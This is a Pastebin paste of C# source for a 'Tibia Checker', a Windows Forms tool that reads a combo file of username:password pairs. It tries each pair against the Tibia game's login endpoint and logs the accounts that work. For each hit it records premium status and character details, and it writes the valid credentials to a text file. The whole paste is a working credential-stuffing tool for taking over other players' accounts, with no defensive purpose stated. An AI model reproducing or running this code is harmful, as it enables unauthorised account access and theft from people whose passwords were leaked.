Advertisement
welington

Tibia Checker

Dec 21st, 2016
371
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 12.49 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.ComponentModel;
  4. using System.IO;
  5. using System.Net;
  6. using System.Net.Http;
  7. using System.Threading;
  8. using System.Threading.Tasks;
  9. using System.Windows.Forms;
  10. using Newtonsoft.Json.Linq;
  11.  
  12. namespace TibiaChecker
  13. {
  14.     public partial class Form1 : Form
  15.     {
  16.         public static string[] ComboFile;
  17.  
  18.         public static JToken CharactersJson;
  19.         private readonly AbortableBackgroundWorker backgroundWorker = new AbortableBackgroundWorker();
  20.  
  21.         public List<JToken> CharList = new List<JToken>();
  22.  
  23.         public Form1()
  24.         {
  25.             InitializeComponent();
  26.         }
  27.  
  28.         private void button1_Click(object sender, EventArgs e)
  29.         {
  30.             var openFileDialog1 = new OpenFileDialog();
  31.             openFileDialog1.Filter = "Text Files (.txt)|*.txt";
  32.             openFileDialog1.FilterIndex = 1;
  33.             if (openFileDialog1.ShowDialog() == DialogResult.OK)
  34.             {
  35.                 textBox1.Text = openFileDialog1.FileName;
  36.                 using (var tr = new StreamReader(openFileDialog1.FileName))
  37.                 {
  38.                     ComboFile = File.ReadAllLines(openFileDialog1.FileName);
  39.                 }
  40.             }
  41.         }
  42.  
  43.         public static Tuple<bool, string> CheckLogin(string login, string password)
  44.         {
  45.             var httpWebRequest = (HttpWebRequest) WebRequest.Create("https://secure.tibia.com/services/login.php");
  46.             httpWebRequest.ContentType = "application/json";
  47.             httpWebRequest.Method = "POST";
  48.             httpWebRequest.UserAgent = "Mozilla/5.0";
  49.             httpWebRequest.ServicePoint.Expect100Continue = false;
  50.             httpWebRequest.Headers["Content-Disposition"] = "form-data; name=\"metadata\"";
  51.  
  52.             using (var streamWriter = new StreamWriter(httpWebRequest.GetRequestStream()))
  53.             {
  54.                 var json = "{\"accountname\":\"" + login + "\"," +
  55.                            "\"password\":\"" + password + "\"," +
  56.                            "\"staylogged\":\"true\"," +
  57.                            "\"type\":\"login\"}";
  58.  
  59.                 streamWriter.Write(json);
  60.                 streamWriter.Flush();
  61.                 streamWriter.Close();
  62.             }
  63.  
  64.             var httpResponse = (HttpWebResponse) httpWebRequest.GetResponse();
  65.             using (var streamReader = new StreamReader(httpResponse.GetResponseStream()))
  66.             {
  67.                 var result = streamReader.ReadToEnd();
  68.                 if (!result.Contains("sessionkey") || result.Contains("Account name or password is not correct.") ||
  69.                     result.Contains("30 minutes"))
  70.                     return new Tuple<bool, string>(false, result);
  71.                 return new Tuple<bool, string>(true, result);
  72.             }
  73.         }
  74.  
  75.         public static DateTime UnixTimeStampToDateTime(double unixTimeStamp)
  76.         {
  77.             // Unix timestamp is seconds past epoch
  78.             var dtDateTime = new DateTime(1970, 1, 1, 0, 0, 0, 0, DateTimeKind.Utc);
  79.             dtDateTime = dtDateTime.AddSeconds(unixTimeStamp).ToLocalTime();
  80.             return dtDateTime;
  81.         }
  82.  
  83.         private void button2_Click(object sender, EventArgs e)
  84.         {
  85.             backgroundWorker.WorkerReportsProgress = true;
  86.             backgroundWorker.DoWork += backgroundWorker1_DoWork;
  87.             backgroundWorker.ProgressChanged += backgroundWorker1_ProgressChanged;
  88.             if (!backgroundWorker.IsBusy)
  89.                 backgroundWorker.RunWorkerAsync();
  90.         }
  91.  
  92.         private void backgroundWorker1_DoWork(object sender, DoWorkEventArgs e)
  93.         {
  94.             var i = 0;
  95.             if (ComboFile != null)
  96.                 foreach (var combo in ComboFile)
  97.                 {
  98.                     backgroundWorker.ReportProgress(++i);
  99.                     var splittedcombo = combo.Split(':');
  100.                     var login = CheckLogin(splittedcombo[0], splittedcombo[1]);
  101.                     if (login.Item1)
  102.                     {
  103.                         var parse = JObject.Parse(login.Item2);
  104.                         var lastlogintime = parse["session"]["lastlogintime"];
  105.                         var lastlogintonormaltime =
  106.                             UnixTimeStampToDateTime(Convert.ToDouble(lastlogintime.ToString())).ToLocalTime().ToString();
  107.                         var ispremium = parse["session"]["ispremium"];
  108.                         var premiumuntil = parse["session"]["premiumuntil"];
  109.                         var premiumuntilnormaltime =
  110.                             UnixTimeStampToDateTime(Convert.ToDouble(premiumuntil.ToString())).ToLocalTime().ToString();
  111.                         var characters = parse["playdata"]["characters"];
  112.                         var Charinfo = new List<string>();
  113.                         var jtokenwriter = new JTokenWriter();
  114.                         jtokenwriter.WriteStartObject();
  115.                         jtokenwriter.WritePropertyName(splittedcombo[0]);
  116.                         jtokenwriter.WriteStartObject();
  117.                         if (characters != null)
  118.                             foreach (var character in characters)
  119.                             {
  120.                                 Thread.Sleep(1000);
  121.                                 JToken parseapi = null;
  122.                                 try
  123.                                 {
  124.                                     parseapi = GetInfoAPI(character["name"].ToString()).Result;
  125.                                 }
  126.                                 catch (AggregateException hehe)
  127.                                 {
  128.                                     MessageBox.Show(hehe.StackTrace);
  129.                                 }
  130.                                 var name = parseapi["name"].ToString();
  131.                                 var level = parseapi["level"].ToString();
  132.                                 var vocation = parseapi["vocation"].ToString();
  133.                                 var world = parseapi["world"].ToString();
  134.                                 jtokenwriter.WritePropertyName(name);
  135.                                 jtokenwriter.WriteStartObject();
  136.                                 jtokenwriter.WritePropertyName("charname");
  137.                                 jtokenwriter.WriteValue(name);
  138.                                 jtokenwriter.WritePropertyName("level");
  139.                                 jtokenwriter.WriteValue(level);
  140.                                 jtokenwriter.WritePropertyName("vocation");
  141.                                 jtokenwriter.WriteValue(vocation);
  142.                                 jtokenwriter.WritePropertyName("world");
  143.                                 jtokenwriter.WriteValue(world);
  144.                                 jtokenwriter.WriteEndObject();
  145.                                 Charinfo.Add("Char Name:" + name + " | Level:" + level + " | Vocation:" + vocation +
  146.                                              " | World: " + world);
  147.                             }
  148.                         jtokenwriter.WriteEndObject();
  149.                         jtokenwriter.WriteEndObject();
  150.                         CharactersJson = (JObject) jtokenwriter.Token;
  151.                         CharList.Add(CharactersJson);
  152.  
  153.                         using (var writer = File.AppendText("Contas.txt"))
  154.                         {
  155.                             if (ispremium.ToString() == "True")
  156.                             {
  157.                                 string[] row =
  158.                                 {
  159.                                     splittedcombo[0], splittedcombo[1], ispremium.ToString(),
  160.                                     lastlogintonormaltime, premiumuntilnormaltime
  161.                                 };
  162.                                 var item = new ListViewItem(row);
  163.                                 listView1.Items.Add(item);
  164.                                 writer.Write("---------- ACCOUNT " + combo + "| Last login: " + lastlogintonormaltime +
  165.                                              "| Premium: " + ispremium + "| Premium until: " + premiumuntilnormaltime +
  166.                                              " ----------" + Environment.NewLine);
  167.                             }
  168.                             else
  169.                             {
  170.                                 string[] row =
  171.                                 {
  172.                                     splittedcombo[0], splittedcombo[1], ispremium.ToString(),
  173.                                     lastlogintonormaltime
  174.                                 };
  175.                                 var item = new ListViewItem(row);
  176.                                 if (listView1.InvokeRequired)
  177.                                     listView1.Invoke(new MethodInvoker(delegate { listView1.Items.Add(item); }));
  178.                                 else
  179.                                     listView1.Items.Add(item);
  180.  
  181.                                 writer.Write(Environment.NewLine + "---------- ACCOUNT " + combo + "- Last login: " +
  182.                                              lastlogintonormaltime + " Premium: " + ispremium + " ----------" +
  183.                                              Environment.NewLine);
  184.                             }
  185.  
  186.                             foreach (var chars in Charinfo)
  187.                                 writer.Write(chars + Environment.NewLine);
  188.                             Charinfo.Clear();
  189.                         }
  190.                     }
  191.                 }
  192.         }
  193.  
  194.         private void backgroundWorker1_ProgressChanged(object sender,
  195.             ProgressChangedEventArgs e)
  196.         {
  197.             // Change the value of the ProgressBar to the BackgroundWorker progress.
  198.             progressBar1.Value = e.ProgressPercentage;
  199.             progressBar1.Maximum = ComboFile.Length;
  200.         }
  201.  
  202.         public async Task<JObject> GetInfoAPI(string name)
  203.         {
  204.             using (var client = new HttpClient())
  205.             {
  206.                 var jsonString =
  207.                     await
  208.                         client.GetStringAsync("http://94.177.233.238/tibiaapi.php?charname=" + name)
  209.                             .ConfigureAwait(false);
  210.                 return JObject.Parse(jsonString);
  211.             }
  212.         }
  213.  
  214.         private void button3_Click(object sender, EventArgs e)
  215.         {
  216.             if (backgroundWorker.IsBusy)
  217.             {
  218.                 backgroundWorker.Abort();
  219.                 backgroundWorker.Dispose();
  220.             }
  221.         }
  222.  
  223.         private void listView1_DoubleClick(object sender, EventArgs e)
  224.         {
  225.             var settingsForm = new ShowCharsForm();
  226.             var clickedname = listView1.SelectedItems[0].SubItems[0].Text;
  227.  
  228.  
  229.             foreach (var character in CharList)
  230.                 if (character.ToString().Contains(clickedname))
  231.                 {
  232.                     var array = JObject.Parse(character[clickedname].ToString());
  233.  
  234.                     foreach (var pair in array)
  235.                     {
  236.                         string[] row =
  237.                         {
  238.                             array[pair.Key]["charname"].ToString(),
  239.                             array[pair.Key]["level"].ToString(),
  240.                             array[pair.Key]["vocation"].ToString(),
  241.                             array[pair.Key]["world"].ToString()
  242.                         };
  243.                         var item = new ListViewItem(row);
  244.                         settingsForm.listView1.Items.Add(item);
  245.                     }
  246.                 }
  247.  
  248.             settingsForm.Show();
  249.         }
  250.  
  251.  
  252.         public class AbortableBackgroundWorker : BackgroundWorker
  253.         {
  254.             private Thread workerThread;
  255.  
  256.             protected override void OnDoWork(DoWorkEventArgs e)
  257.             {
  258.                 workerThread = Thread.CurrentThread;
  259.  
  260.                 try
  261.                 {
  262.                     base.OnDoWork(e);
  263.                 }
  264.                 catch (ThreadAbortException)
  265.                 {
  266.                     e.Cancel = true; //We must set Cancel property to true!
  267.                     Thread.ResetAbort(); //Prevents ThreadAbortException propagation
  268.                 }
  269.             }
  270.  
  271.             public void Abort()
  272.             {
  273.                 if (workerThread != null)
  274.                 {
  275.                     workerThread.Abort();
  276.                     workerThread = null;
  277.                 }
  278.             }
  279.         }
  280.  
  281.         private void listView1_ColumnWidthChanging(object sender, ColumnWidthChangingEventArgs e)
  282.         {
  283.             e.Cancel = true;
  284.             e.NewWidth = listView1.Columns[e.ColumnIndex].Width;
  285.         }
  286.     }
  287. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement